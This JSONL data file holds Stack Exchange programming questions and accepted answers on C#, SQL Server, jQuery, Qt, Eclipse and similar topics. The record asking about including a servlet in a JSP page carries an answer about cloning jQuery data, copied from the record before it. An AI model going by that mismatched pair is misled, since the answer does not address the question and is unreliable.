{"id": "hf_8adf9294d357", "question": "<p>Something like this is on my mind: I put one or a few strings in, and the algorithm shows me a matching regex.</p>\n\n<p>Is there an \"<em>easy</em>\" way to do this, or does something like this already exist?</p>\n\n<p><strong><em>Edit 1</em></strong>: Yes, I'm trying to find a way to generate regex. </p>\n\n<p><strong><em>Edit 2</em></strong>: Regulazy is not what I am looking for. The common use for the code I want is to find a correct RegEx; for example, article numbers:<br/></p>\n\n<ul>\n<li>I put in <em>123456</em>, the regex should be <code>\\d{6}</code></li>\n<li>I put in <em>nb-123456</em>, the regex should be <code>\\w{2}-\\d{6}</code></li>\n</ul>\n", "question_body": "", "answer": "It sounds like you want an algorithm to generate a regular grammar based on some samples. In a lot of cases, there are many possible grammars for a given set of examples--there can even be infinite possible grammars. Of course, the possibilities can be limited by a second set of required\nnon\n-matches, which can limit it to zero possibilities if the non-matching strings are too inclusive.\ntxt2re\ndoes something like this.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.219694"}
{"id": "hf_2d173cbaf5fa", "question": "<p>This is something that's been bothering me a while and there just has to be a solution to this. Every time I call ShellExecute to open an external file (be it a document, executable or a URL) this causes a very long lockup in my program before ShellExecute spawns the new process and returns. Does anyone know how to solve or work around this?</p>\n\n<p>EDIT: And as the tags might indicate, this is on Win32 using C++.</p>\n", "question_body": "", "answer": "I don't know what is causing it, but Mark Russinovich (of sysinternal's fame) has a really great blog where he explains how to debug these kinds of things. A good one to look at for you would be\nThe Case of the Delayed Windows Vista File Open Dialogs\n, where he debugged a similar issue using only process explorer (it turned out to be a problem accessing the domain). You can of course do similar things using a regular windows debugger.\nYou problem is probably not the same as his, but using these techniques may help you get closer to the source of the problem. I suggest invoking the\n```\nCreateProcess\n```\ncall and then capturing a few stack traces and seeing where it appears to be hung.\nThe Case of the Process Startup Delays\nmight be even more relevant for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.244161"}
{"id": "hf_b248dc373d61", "question": "<p>I have an app written in C# that lies on a network share. When I run it from a local drive, everything works fine. When I start it from the remote share, calls like</p>\n\n<pre><code>try\n{\n    System.Reflection.Assembly.GetExecutingAssembly();\n    System.IO.Directory.GetCurrentDirectory();\n}\n</code></pre>\n\n<p>throw a SecurityException 'Request failed'.</p>\n\n<p>What causes this, what is the difference between an app that is started locally and one that is started from a remote location?</p>\n", "question_body": "", "answer": "This is due to\nCAS\n; code started from the local machine has much more trust than code in the intranet, which in turn has more trust that code from the internet.\nIIRC, with the latest SP (3.5SP1?) if you have\nmapped\nthe share (i.e. as F:) it is trusted; otherwise you will need to either:\na: apply a\ncaspol\nchange to all clients (yeuck)\nb: use\nClickOnce\nto deploy the app, and run the .application instead (yay!)\nThe point is that ClickOnce allows you to sign the app and state your security policy (even if you demand full trust).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.268854"}
{"id": "hf_21f12aa9485e", "question": "<p>I have Eclipse 3.3.2 with PDT doing PHP development.\nAll projects that I create, even SVN projects have code completion.\nNow I just opened another SVN project and it has no code completion or PHP templates (CTRL-space does nothing in that project).\nHowever, I can open the other projects and code completion all work in them.</p>\n\n<p>Why would code completion and templates be \"off\" in just one project and how can I turn it back on?</p>\n", "question_body": "", "answer": "Maybe Eclipse doesn't understand the project has a \"PHP nature\".\nTry comparing the .project file on both projects to look for differences. It should contain something like:\n```\n```\n<natures>\n  <nature>org.eclipse.php.core.PHPNature</nature>\n </natures>\n```\n```\nThe .project file will be in your workspace under the project directories.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.293463"}
{"id": "hf_7b057f88cb75", "question": "<p>Consider a regular web application doing mostly form-based CRUD operations over SQL database. Should there be explicit transaction management in such web application? Or should it simply use autocommit mode? And if doing transactions, is \"transaction per request\" sufficient?</p>\n", "question_body": "", "answer": "You should use transactions given that different users will be hitting the database at the same time. I would recommend you do\nnot\nuse autocommit. Use explicit transaction brackets. As to the resolution of each transaction, you should bracket a particular unit of work (whatever that means in your context).\nYou might also want to look into the different transaction isolation levels that your SQL database supports. They will offer a range of behaviours in terms of what reading users see of partially updated records.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.317922"}
{"id": "hf_d5d0e6b815b7", "question": "<p>What is the differences and similarities between Domain Specific Languages (DSL) and Domain Driven Design (DDD)?</p>\n", "question_body": "", "answer": "Domain Driven Design (DDD) is a way of thinking and communicating about the problems and its solutions.\nDomain Specific Language (DSL) is a way of writing code.\nThey're similar because they both start with the word \"domain\". That's it, I guess. :-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.390692"}
{"id": "hf_23feac77c9bb", "question": "<p>I had a little discussion with a friend about the usage of collections in return/input values of a method. He told me that we have to use\n- the most derived type for return values.\n- the least derived type for input parameters.</p>\n\n<p>So, it means that, for example, a method has to get a ReadOnlyCollection as parameter, and as return a List.</p>\n\n<p>Moreover, he said that we must not use List or Dictionary in publics API, and that we have to use, instead Collection, ReadOnlyCollection, ... So, in the case where a method is public, its parameters and its return values must be Collection, ReadOnlyCollection, ...</p>\n\n<p>Is it right ?</p>\n", "question_body": "", "answer": "Regarding input parameters, it's generally more flexible to use the least specific type.  For example, if all your method is going to do is enumerate the items in a collection passed as an argument, it's more flexible to accept IEnumerable<T>.\nFor example, consider a method \"ProcessCustomers\" that accepts a parameter that is a collection of customers:\n```\n```\npublic void ProcessCustomers(IEnumerable<Customer> customers)\n{\n   ... implementation ...\n}\n```\n```\nIf you declare the parameter as IEnumerable<Customer>, your callers can easily pass in a subset of a collection, using code like the following (pre-NET 3.5: with .NET 3.5 you could use lambda expressions):\n```\n```\nprivate IEnumerable<Customer> GetCustomersByCountryCode(IEnumerable<Customer> customers, int countryCode)\n{\n    foreach(Customer c in customers)\n    {\n        if (c.CountryCode == countryCode) yield return c;\n    }\n}\n\n... \nProcessCustomers(GetCustomersByCountryCode(myCustomers, myCountryCode);\n...\n```\n```\nIn general MS guidelines recommend not exposing List<T>.  For a discussion of why this is so, see\nthis blog entry\nfrom the Code Analysis (FxCop) team.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.415353"}
{"id": "hf_7ece66739cfc", "question": "<p>I have a strongly-typed MVC View Control which is responsible for the UI where users can create and edit Client items.  I'd like them to be able to define the <code>ClientId</code> on creation, but not edit, and this to be reflected in the UI.</p>\n\n<p>To this end, I have the following line:</p>\n\n<pre><code>&lt;%= Html.TextBox(\"Client.ClientId\", ViewData.Model.ClientId, new \n { @readonly = \n   (ViewData.Model.ClientId != null &amp;&amp; ViewData.Model.ClientId.Length &gt; 0 \n      ? \"readonly\" : \"false\") \n } )\n%&gt;\n</code></pre>\n\n<p>It seems that no matter what value I give the readonly attribute (even \"false\" and \"\"), Firefox and IE7 make the input read-only, which is annoyingly counter-intuitive.  Is there a nice, ternary-operator-based way to drop the attribute completely if it is not required?</p>\n", "question_body": "", "answer": "Tough problem... However, if you want to define only the\n```\nreadonly\n```\nattribute, you can do it like this:\n```\n```\n<%= Html.TextBox(\"Client.ClientId\", ViewData.Model.ClientId, \n  ViewData.Model.ClientId != null && ViewData.Model.ClientId.Length > 0 \n    ? new { @readonly =  \"readonly\" } \n    : null) \n%>\n```\n```\nIf you want to define more attributes then you must define two anonymous types and have multiple copies of the attributes. For example, something like this (which I don't like anyway):\n```\n```\nClientId.Length > 0 \n  ? (object)new { @readonly = \"readonly\", @class = \"myCSS\" } \n  : (object)new { @class = \"myCSS\" }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.468154"}
{"id": "hf_06354406edf1", "question": "<p>I am trying to uncompress some data created in VB6 using the zlib API.</p>\n\n<p>I have read this is possible with the qUncompress function:\n<a href=\"http://doc.trolltech.com/4.4/qbytearray.html#qUncompress\" rel=\"nofollow noreferrer\">http://doc.trolltech.com/4.4/qbytearray.html#qUncompress</a></p>\n\n<p>I have read the data in from QDataStream via readRawBytes into a char\narray, which I then converted to a QByteArray for decompression. I\nhave the compressed length and the expected decompressed length but am not getting\nanything back from qUncompress.</p>\n\n<p>However I need to prepend the expected decompressed length in big endian format. Has anybody done this and have an example?</p>\n", "question_body": "", "answer": "I haven't used VB6 in\nages\n, so I hope this is approximately correct.  I\nthink\nthat vb6 used () for array indexing.  If I got anything wrong, please let me know.\nLooking at the qUncompress docs, you should have put your data in your QByteArray starting at byte 5 (I'm going to assume that you left the array index base set to 1 for this example).\nLet's say the array is named qArr, and the expected uncompressed size is Size.\nIn a \"big-endian\" representation, the first byte is at the first address.\n```\n```\nqArr(1) = int(Size/(256*256*256))\nqArr(2) = 255 And int(Size/256*256)\nqArr(3) = 255 And int(Size/256)\nqArr(4) = 255 And int(Size)\n```\n```\nDoes that make sense?\nIf you needed little endian, you could just reverse the order of the indexes (qArr(4) - qArr(1)) and leave the calculations the same.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.520666"}
{"id": "hf_54359f5e42e7", "question": "<p>Provide Used: Microsoft OLE DB Provider for SQL Server. Can anyone help me with this..\nI was trying to connect with LLBLgen</p>\n", "question_body": "", "answer": "I used to get this error sometimes when connecting to my local SQL Server with Windows Authentication. I never fixed it unfortunately - it went away when I reinstalled windows.\nI think a reboot used to fix it - have you tried that? Not exactly the best solution, I know :P", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.544678"}
{"id": "hf_8ff14609dbb3", "question": "<p>I'm trying to get a case-insensitive search with two strings in JavaScript working.</p>\n\n<p>Normally it would be like this:</p>\n\n<pre><code>var string=\"Stackoverflow is the BEST\";\nvar result= string.search(/best/i);\nalert(result);\n</code></pre>\n\n<p>The <code>/i</code> flag would be for case-insensitive.</p>\n\n<p>But I need to search for a second string; without the flag it works perfect:</p>\n\n<pre><code>var string=\"Stackoverflow is the BEST\";\nvar searchstring=\"best\";\nvar result= string.search(searchstring);\nalert(result);\n</code></pre>\n\n<p>If I add the <code>/i</code> flag to the above example it would search for searchstring and not for what is in the variable \"searchstring\" (next example not working):</p>\n\n<pre><code>var string=\"Stackoverflow is the BEST\";\nvar searchstring=\"best\";\nvar result= string.search(/searchstring/i);\nalert(result);\n</code></pre>\n\n<p>How can I achieve this?</p>\n", "question_body": "", "answer": "Yeah, use\n```\n.match\n```\n, rather than\n```\n.search\n```\n. The result from the\n```\n.match\n```\ncall will return the actual string that was matched itself, but it can still be used as a boolean value.\n```\n```\nvar string = \"Stackoverflow is the BEST\";\nvar result = string.match(/best/i);\n// result == 'BEST';\n\nif (result){\n    alert('Matched');\n}\n```\n```\nUsing a regular expression like that is probably the tidiest and most obvious way to do that in JavaScript, but bear in mind it\nis\na regular expression, and thus can contain regex metacharacters. If you want to take the string from elsewhere (eg, user input), or if you want to avoid having to escape a lot of metacharacters, then you're probably best using\n```\nindexOf\n```\nlike this:\n```\n```\nmatchString = 'best';\n// If the match string is coming from user input you could do\n// matchString = userInput.toLowerCase() here.\n\nif (string.toLowerCase().indexOf(matchString) != -1){\n    alert('Matched');\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.593148"}
{"id": "hf_0b8028f54d88", "question": "<p>Perl has several built-in functions for accessing /etc/passwd on Unix systems (and elsewhere when supported) for user and group information. For instance,</p>\n\n<pre><code>my $name = getpwuid($uid);\n</code></pre>\n\n<p>will return the user name given the user ID, or undef if there is no such user.</p>\n\n<p>If a Perl script needs to be portable and run on Unices and Windows, how should one access user and group information? ActivePerl seems to support User::grent and User::pwent modules, which provide by-field access to /etc/passwd -- even in Windows. Curiously they do not support the built-in functions getpw* and getgr*. What other alternatives are there?</p>\n", "question_body": "", "answer": "You could use the\n```\nWin32::NetAdmin\n```\nmodule\n.\n```\nUserGetAttributes\n```\nand\n```\nGroupIsMember\n```\nlook like they do what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.618181"}
{"id": "hf_915cb5e77b7f", "question": "<p>I got a simple page with a HtmlInputHidden field. I use a javascript to update that value and when posting back the page i want to read the value of that HtmlInputHidden field.</p>\n\n<p>The Value property of that HtmlInputHidden field is on postback the default value (the value it had when the page got created, not the value reflected through the javascript).</p>\n\n<p>I also tried to Register the HtmlInputHidden field with ScriptManager.RegisterHiddenField(Page, \"MyHtmlImputHiddenField\", \"initialvalue\") but it still only lets me read the 'initialvalue' even though i (through javascript) can inspect that the value has changed.</p>\n", "question_body": "", "answer": "You ideally want to use the asp.net HiddenField control\n```\n```\n<asp:HiddenField id=\"myHiddenField\" runat=\"server\" />\n```\n```\nThen you will be able to read the value from the code behind when the page is processing.\n```\n```\nstring value = myHiddenField.Value; // retrieve the value in hidden field\n```\n```\nref;\nHiddenField Web Server Control Overview\nBe careful about the DOM name of the control (\n```\ncontrol.ClientID\n```\n) on the client side (ie when you are accessing from javascript) as it may change depending where on the page you have declared the control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.659399"}
{"id": "hf_5c7ae2a0efc5", "question": "<p>When I add &amp;nbsp; or &amp;eacute; to a text value of a listitem, it display the code of the HTML entity instead of the result (a space or é).</p>\n\n<p>I can add \"physical\" non-breaking spaces or special chars, but I would like to avoid that if possible. Sometimes the data stored in database is encoded, and I don't want to always process data before displaying it.</p>\n\n<p>Any solution ?</p>\n\n<p>Thanks</p>\n\n<p>Edit note : previous description noted it was about a dropdownlist simulating a treeview, but it was merely an example ; I can't and don't want to replace the dropdownlist by anything else.</p>\n", "question_body": "", "answer": "Standard drop down lists are very poor at representing treeviews .\nThey can handle going one level deep if the top level is not selectable (see the\noptgroup\nelement[1]), but beyond that I suggest taking a regular list (ordered or unordered) with as much nesting as you need (remember sublists go inside list items in their parent list) and including a checkbox or radio button with each selectable list item.\nSome JavaScript could then be added to manipulate classes to create a drop down effect if desired.\n[1] Optgroup should be able to go deeper but, IIRC, browser support is sucky.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.684174"}
{"id": "hf_141d1104aee0", "question": "<p>I am trying to get some XML data with LINQ, but running into a problem.</p>\n\n<p>I am using a schema, which is set in the attribute xmlns ...</p>\n\n<pre><code>&lt;CarsForSale xmlns=\"http://schemas.sharplogic.net/CarSales.xsd\"&gt;\n  &lt;CarForSale&gt;\n</code></pre>\n\n<p>There are many CarForSale elements.</p>\n\n<p>When the schema is set and I do this...</p>\n\n<pre><code>XElement doc = XElement.Load(HttpContext.Current.Server.MapPath(\"App_Data/XML/CarsForSale.xml\"));\n\nvar cars2 = from d in doc.Descendants(\"CarForSale\")\n            select d;\n</code></pre>\n\n<p>Then I get in the results i get Enumeration yielded no results </p>\n\n<p>Strip the xmlns out of the XML file and the data comes back as expected??</p>\n\n<p>Any ideas?</p>\n\n<p>Thx</p>\n", "question_body": "", "answer": "You need to prepend the namespace:\n```\n```\nvar ns    = \"http://schemas.sharplogic.net/CarSales.xsd\";\nvar cars2 = from d in doc.Descendants(ns + \"CarForSale\")            \n            select d;\n```\n```\notherwise search by local name:\n```\n```\nvar cars2 = from d in doc.Descendants()\n            where d.Name.LocalName == \"CarForSale\"            \n            select d;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.720407"}
{"id": "hf_da32a3ece13a", "question": "<p>When developing a database of articles in a Knowledge Base (for example) - what are the best ways to sort and display the most relevant answers to a users' question?</p>\n\n<p>Would you use additional data such as keyword weighting based on whether previous users found the article of help, or do you find a simple keyword matching algorithm to be sufficient?</p>\n", "question_body": "", "answer": "That's a hard question, and companies like Google are pushing a lot of efforts to address this question. Have a look at\nGoogle Enterprise Search Appliance\nor\nExalead Enterprise Search\n.\nThen, as a personal opinion, I don't think that any \"naive\" approach is going to improve much the result compared to naive keyword search and ordering by the number of views on the documents.\nIf you have the possibility to expose your knowledge base to the web, then, just do it, and let your favorite search engine handles the search for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.758818"}
{"id": "hf_c28894844c37", "question": "<p>Is there guide out there that will help me, A .Net developer whose been using Visual studio for some time, get to grips with Eclipse?</p>\n\n<p>Even just a quick guide to eclipse.</p>\n\n<p>Has anyone else made the transition, and if so how did you cope. Any Tips?</p>\n", "question_body": "", "answer": "Not sure if it will help you, but Eric Sink ran a nice four part series some time ago on his move from VS to Eclipse:\nFrom C# to Java - Part 1\nFrom C# to Java - Part 2\nFrom C# to Java - Part 3\nFrom C# to Java - Part 4", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.781962"}
{"id": "hf_07e1ca7a1966", "question": "<p>Trying to perform a single boolean NOT operation, it appears that under MS SQL Server 2005, the following block does not work</p>\n\n<pre><code>DECLARE @MyBoolean bit;\nSET @MyBoolean = 0;\nSET @MyBoolean = NOT @MyBoolean;\nSELECT @MyBoolean;\n</code></pre>\n\n<p>Instead, I am getting more successful with</p>\n\n<pre><code>DECLARE @MyBoolean bit;\nSET @MyBoolean = 0;\nSET @MyBoolean = 1 - @MyBoolean;\nSELECT @MyBoolean;\n</code></pre>\n\n<p>Yet, this looks a bit a twisted way to express something as simple as a negation.</p>\n\n<p>Am I missing something?</p>\n", "question_body": "", "answer": "Your solution is a good one...  you can also use this syntax to toggle a bit in SQL...\n```\n```\nDECLARE @MyBoolean bit;\nSET @MyBoolean = 0;\nSET @MyBoolean = @MyBoolean ^ 1; \nSELECT @MyBoolean;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.805688"}
{"id": "hf_99367507c807", "question": "<p>I am trying to set the background color for a double spin box, and I am not sure what function I should use.</p>\n\n<p>I saw some function called <code>SetBackgroundRole</code> which accepts a <code>Qt::ColorRole</code>, but I am not sure how to use this one as well.</p>\n\n<p>Kindly let me know, what's the simple way to change the background color of a <code>QComboBox</code> or <code>QDoubleSpinBox</code>?</p>\n", "question_body": "", "answer": "I'd try something like\n```\n```\nQPalette pal = widget.palette();\npal.setColor(QPalette::Window, Qt::blue);\nwidget.setPalette(pal);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.851031"}
{"id": "hf_422700a2e613", "question": "<p>I am changing a GET to a POST. Currently I have .jsp?id=a,b,c,d. When changing this to a post I am still sitting the id parameter a,b,c,d . This is not working for me. Can I submit a comma separated list to a post parameter?</p>\n", "question_body": "", "answer": "You can do it like a select form input:\nurl?param=value1&param=value2&param=value3\nDepending on you language and library you should be able to get an array of values for param.\nFor example with asp.net mvc i do this to get an array of strings:\n```\n```\nstring[] values = Request.Form.GetValues(\"param\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.898036"}
{"id": "hf_b643c6bab347", "question": "<p>I have a lot of classes in the App_Code directory could this be a problem? Would it build faster if it was in a separate library?</p>\n\n<p>Any other tips?</p>\n", "question_body": "", "answer": "There's a decent article\nhere\n. Items listed there are:\nDo not disable batch compilation\nLeverage Server-side Compilation\nMove App_Code files into a separate class library project\nCheck for conflicting dependencies\nTurn off AutoToolboxPopulate in the Windows Forms Designer options.\nDisable validation for HTML editing", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.932951"}
{"id": "hf_984d269b6898", "question": "<p>One of our unit tests is to populate properties within our business objects with random data.</p>\n\n<p>These properties are of different intrinsic types and therefore we would like to use the power of generics to return data of the type you pass in. Something along the lines of:</p>\n\n<pre><code>public static T GetData&lt;T&gt;()\n</code></pre>\n\n<p>How would you go about approaching this? Would a low level interface work? (IConvertible)</p>\n", "question_body": "", "answer": "You could keep the \"easy to use\" GetData interface you've got there, but internally have a Dictionary<Type, object> where each value is a Func<T> for the relevant type. GetData would then have an implementation such as:\n```\n```\npublic static T GetData<T>()\n{\n    object factory;\n    if (!factories.TryGet(typeof(T), out factory))\n    {\n         throw new ArgumentException(\"No factory for type \" + typeof(T).Name);\n    }\n    Func<T> factoryFunc = (Func<T>) factory;\n    return factoryFunc();\n}\n```\n```\nYou'd then set up the factory dictionary in a static initializer, with one delegate for each type of random data you wanted to create. In some cases you could use a simple lambda expression (e.g. for integers) and in some cases the delegate could point to a method doing more work (e.g. for strings).\nYou may wish to use my\nStaticRandom\nclass for threads-safe RNG, by the way.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.956314"}
{"id": "hf_69aec67f369f", "question": "<p>I would like to be able to trap <kbd>Ctrl</kbd>+<kbd>C</kbd> in a C# console application so that I can carry out some cleanups before exiting. What is the best way of doing this?</p>\n", "question_body": "", "answer": "See MSDN:\nConsole.CancelKeyPress Event\nArticle with code samples:\nCtrl-C and the .NET console application", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:52.998970"}
{"id": "hf_120889b6a43c", "question": "<ol>\n<li>What's the best delimiter to use when exporting data?</li>\n<li>What's the best way to work with NULL data if you have an INT field in the table?</li>\n</ol>\n", "question_body": "", "answer": "I would do whatever\nbcp\nwith the -c option (character instead of binary) does by default, overriding it only if you see a specific problem with your data. I'd even try to use bcp, if possible.\nTo do this from MSSQL itself you'd need to enable xp_cmdshell support, which may not be a possibility due to security concerns. But if you want to do it in an external tool, there should be no problem.\nDirectly answering your questions:\nThe best delimiter is the character that does not appear in your data\nUse a blank in those columns, any integer will have a character or even a null character\nAll this and more is why you should use the ready made tool, all the hard choices have been thought out and made already for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.022956"}
{"id": "hf_5c72269fad5c", "question": "<p>I need to copy data values from one element to another, but jQuery's clone() method doesn't clone the data. And I can't iterate over the data either:</p>\n\n<pre><code>element.data().each\n</code></pre>\n\n<p>because <code>data()</code> is a function and not a jQuery object. It seems I have to keep a separate list of attribute names and reference those but that seems too hacky. So how can I do either of these:</p>\n\n<p>a) Iterate over data items<br>\nOR<br>\nb) <code>clone()</code> an element with its data.</p>\n", "question_body": "", "answer": "To give another alternative, i.e. instead of cloning the whole object you can copy the data object to a new array containing name/value pairs followingly:\n```\n```\nfunction getOriginalElementData(domElementJQueryObject){\n    var originalElementData = new Array();\n    $.each(domElementJQueryObject.data(),function(name,value) {\n       originalElementData.push({\"name\":name,\"value\":value});\n    });\n\n    return originalElementData;\n}\n```\n```\nTo restore the data to another object:\n```\n```\nfunction restoreOriginalElementData(domElementJQueryObject,originalElementData){\n    for(var i=0;i<originalElementData.length;i++){\n        domElementJQueryObject.data(originalElementData[i].name,originalElementData[i].value);\n    }\n}\n```\n```\nThe part to iterate through the data items is copied from this answer:\njQuery loop through data() object", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.059178"}
{"id": "hf_db81a03bc3ac", "question": "<p>is it possible to include a servlet in a jsp page? if so how?</p>\n", "question_body": "", "answer": "To give another alternative, i.e. instead of cloning the whole object you can copy the data object to a new array containing name/value pairs followingly:\n```\n```\nfunction getOriginalElementData(domElementJQueryObject){\n    var originalElementData = new Array();\n    $.each(domElementJQueryObject.data(),function(name,value) {\n       originalElementData.push({\"name\":name,\"value\":value});\n    });\n\n    return originalElementData;\n}\n```\n```\nTo restore the data to another object:\n```\n```\nfunction restoreOriginalElementData(domElementJQueryObject,originalElementData){\n    for(var i=0;i<originalElementData.length;i++){\n        domElementJQueryObject.data(originalElementData[i].name,originalElementData[i].value);\n    }\n}\n```\n```\nThe part to iterate through the data items is copied from this answer:\njQuery loop through data() object", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.083155"}
{"id": "hf_5de749feda26", "question": "<p>If you have a domain object, and you want to do something useful and central to that domain object's responsibility like ensure it is valid, you sometimes need to access the state of related objects in order to perform this validation. </p>\n\n<p>How to avoid the domain object needing to call out to a Repository or Data Access Layer? You can't always walk the collection relationships, even with lazy loading, because of performance, and you often want to execute queries in the domain object. You can dependency inject repository implementation into the domain, but not really pure and complicates testing.</p>\n\n<p>I've always relaxed things and allowed access out from domain to a repository using DI. I have seen no clear examples of how to have a 'pure' domain layer in a complex application which is not also anemic and has a service/application layer doing all the grunt and messing with what should be innards of the domain objects.</p>\n", "question_body": "", "answer": "If the object is a value object, it\nshould be immutable and validated\nduring construction.\nIf the object\nis a root aggregate, and that its\nown state is sufficient to tell you\nif it is valid or not, you could add\na validation method on it, which\ncascades through the aggregation.\nLastly, and I think it is your main\nconcern, if you need to access\nseveral related objects (that are\nnot in the same aggregate) to ensure\none of them is valid, you\ndefinitively needs to deport this\nlogic in a specific validation service.\nI really think that injecting services and repositories into entities are not the best choice. Creating dedicated services seems more appropriate, and I don't see why it will leads you to have anemic domain objects.\nIn short, if you can validate you object state without relying on services or repositories, let the object takes care of it, at the aggregate root level. When you need to query services or repositories, or when you need other entities, then strongly consider moving this logic outside the object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:53.124706"}
